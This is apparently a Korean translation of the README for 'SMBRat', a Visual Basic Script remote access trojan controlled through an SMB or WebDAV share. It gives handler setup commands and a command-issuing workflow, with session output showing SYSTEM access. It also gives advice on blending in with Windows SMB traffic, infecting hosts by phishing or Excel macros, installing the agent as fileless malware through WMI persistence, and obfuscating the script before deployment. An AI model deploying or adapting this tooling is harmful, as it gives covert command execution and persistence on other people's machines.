Visual Basic으로 작성된 UNC 경로를 사용하는 Windows 원격 관리 도구
Visual Basic Script로 제작된 Windows 원격 관리 도구
Active Directory 네트워크와 같은 Windows 환경은 SMB 트래픽으로 매우 복잡해집니다.
모든 호스트는 SYSVOL에서 정책을 가져오고, 구성은 원격 파일을 필요로 하며, 데스크톱 바로 가기는 \\something\else\in\the\network.exe를 가리키는 경향이 있습니다.
한 번의 추가 연결 시도를 누구도 눈치채지 못할 것입니다. 그렇죠?
- 특히 성공할 경우에는 더욱 그렇습니다 (방화벽 거부만 모니터링하는 것이 유행입니다)
agent는 감염된 호스트에서 실행되어 SMB 서버에 연결하는 Visual Basic Script입니다. 호스트의 hostname과 기본 MAC 주소로 명명된 디렉터리를 생성합니다 (보고 목적으로 동시에 고유하고 정보성을 갖추려고 합니다). 감염된 호스트에 대한 모든 명령과 정보는 이 디렉터리에 저장됩니다. 전체 공유 폴더를 zip으로 압축하면 모든 프로젝트 정보가 보관됩니다!
드라이브 문자를 사용하여 공유를 마운트하지 않고, UNC 경로를 사용하여 원격 파일을 직접 읽습니다 (explorer.exe에 드라이브가 생성되지 않음).
또한 자체 실행 환경의 %PATH% 변수에 UNC 경로를 주입합니다 (Linux 머신의 파일 시스템에서 직접 실행 파일을 실행할 수 있습니다).
agent는 한 번 실행되도록 구성됩니다. 상태 비저장으로.
그 루틴은 (대략) 다음과 같습니다:
exec.dat라는 파일을 찾습니다.cmd.exe /c <command>로 명령을 실행하여 반대화형 셸처럼 작동합니다.exec.dat 옆에) output.dat에 저장됩니다.exec.dat 파일을 삭제합니다.handler는 SMB 서버가 필요합니다. Core Security의 impacket 패키지에 있는 smbserver.py 모듈이면 충분합니다.
아마 smbd도 작동하겠지만, 아직 테스트되지 않았습니다.
공유 이름 D$가 필요합니다 (합법적인 Windows 호스트의 SMB처럼 보이게).
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
agent가 UNC 경로만 사용하도록 구성되어 있으므로 WebDAV도 변경 없이 사용할 수 있습니다.
SMB 서버 대신 WebDAV 서버를 사용할 수 있습니다 (SSL을 지원하는 훌륭한 WebDAV 서버로 wsgidav가 있습니다).
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO : WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO : Lock manager: LockManager(LockStorageDict)
[...] INFO : Property manager: None
[...] INFO : Domain controller: SimpleDomainController()
[...] INFO : Registered DAV providers by route:
[...] INFO : - '/:dir_browser': FilesystemProvider for path '/root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
[...] INFO : - '/': FilesystemProvider for path '/tmp/DAV' (Read-Write) (anonymous)
[...] WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING : Share '/:dir_browser' will allow anonymous read access.
[...] WARNING : Share '/' will allow anonymous write access.
[...] INFO : Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO : Serving on http://0.0.0.0:80 ...
[...] INFO : 192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] "PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat" length=0, depth=0, elap=0.004sec -> 207 Multi-Status
SSL 지원을 위해 UNC 경로를 약간 변경해야 합니다:
\\<Server-IP>\DIR\
에서:
\\<Server-IP>@SSL@443\DIR\
로 변경합니다. 이 변경은 ServerName agent.vbs 변수에서만 수행하면 됩니다. 모든 경로가 이 변수로 구성되기 때문입니다.
SSL 인증서는 agent를 실행하는 시스템에서 신뢰해야 합니다. 자체 서명된 인증서는 경고와 함께 실패합니다.
agent.vbs 파일의 시작 부분에 While 루프를 추가하고 여러 초(10초가 이상적)의 지연 문을 넣으면 더블 클릭 / 피싱 / 엑셀 매크로 등을 통해 Windows 호스트를 감염시킬 수 있습니다.
VBS에서 1초 지연이 있는 while True 루프는 다음과 같습니다:
Do While True
[...]
WScript.Sleep 1000
Loop
그러나 Windows 호스트에서 RPC가 활성화되어 있으면 WMI와 멋진 impacket 패키지 예제를 통해 VBS 파일을 파일리스 악성코드로 설치할 수 있습니다. 명령은 다음과 같습니다:
$ examples/wmipersist.py '<username>:<password>@<hostname/ipaddress>' install -vbs agent.vbs -name smbrat -timer 10
로컬 액세스를 통해 WMI 도구를 사용하여 agent.vbs를 파일리스 악성코드로 설치하는 것도 가능합니다.
Visual Basic Script는 훌륭하게 난독화되고, base64로 인코딩되며 축소될 수 있습니다.
"배포" 전에 적용해 보면 매우 유용할 수 있습니다 😉
현재까지 따라서 Handler 셸은 구현되지 않았습니다.watch 같은 명령을 사용하여 output.dat 파일을 검사하는 방식으로 사용할 수 있습니다:
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/output.dat
그리고 echo로 exec.dat 파일에 내용을 씁니다:
$ echo 'whoami /all' > Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/exec.dat
handler.py실험적인 셸은 다음과 같이 작동합니다:
$ python handler.py Share/
SMBRat>
# 새 호스트가 감염되면:
[+] Agent "DESKTOP-EG4OE7J" (00:0C:29:2B:9F:AF) just checked-in for Project: "projectName"
SMBRat> execall whoami /user
[>] Sending 'whoami /user' to "projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF" ...
SMBRat>
[<] Response from 'projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF':
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority\system S-1-5-18
^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat>
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]
15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)
E...,E@[email protected].../.../....8
.&Mi~.6P..>.......[.SMB........................
.@............ .;........... .net localgroup "administrators"
[...]
15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)
E...E.@......./.../..8..i~..
.'*P....b.......SMB2......................
.F..z.....(...........z.D.........}..........\.p.r.o.j.e.c.t.N.a.m.e.\.D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F.\.o.u.t.p.u.t...d.a.t...
[...]
15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)
[email protected]../.../..8..i~.
.).P....*.....T.SMB........................
.T....$.......'..$.Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.
[...]
트래픽 (파일 내용 및 경로)은 SMBv1 서버 (예: impacket의 smbserver.py)를 사용할 경우 평문으로 전송됩니다.
모든 에이전트는 전체 공유에 저장된 파일을 수정할 수 있습니다. 즉, 다른 에이전트의 exec.dat를 수정할 수 있습니다...
smbmap을 사용하면 명확해집니다:
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445 Name: Deskjet-4540
Disk Permissions
---- -----------
D$ READ, WRITE
[!] Unable to remove test directory at \\172.16.47.189\D$\SVNRmxBFAO, plreae remove manually
IPC$ READ, WRITE
[!] Unable to remove test directory at \\172.16.47.189\IPC$\SVNRmxBFAO, plreae remove manually
smbmap에 -u와 -p 매개변수가 없는 점에 주의하세요.이는 NULL 세션 (FTP 익명 로그인과 유사)입니다. 누구나 공유 파일을 변경하고 감염된 모든 머신에서 원격 코드 실행을 얻을 수 있습니다.
iptables를 좀 설정하는 것이 좋습니다...execall netsh를 입력하면 모든 에이전트를 잃게 됩니다. agent.vbs가 netsh.exe 셸을 생성하고 종료될 때까지 기다린 후 내용을 output.dat에 쓰기 때문에 아무도 응답하지 않습니다. 하지만... 종료되지 않습니다... 빈 공간을 향한 netsh> 프롬프트에 걸려 있을 것입니다.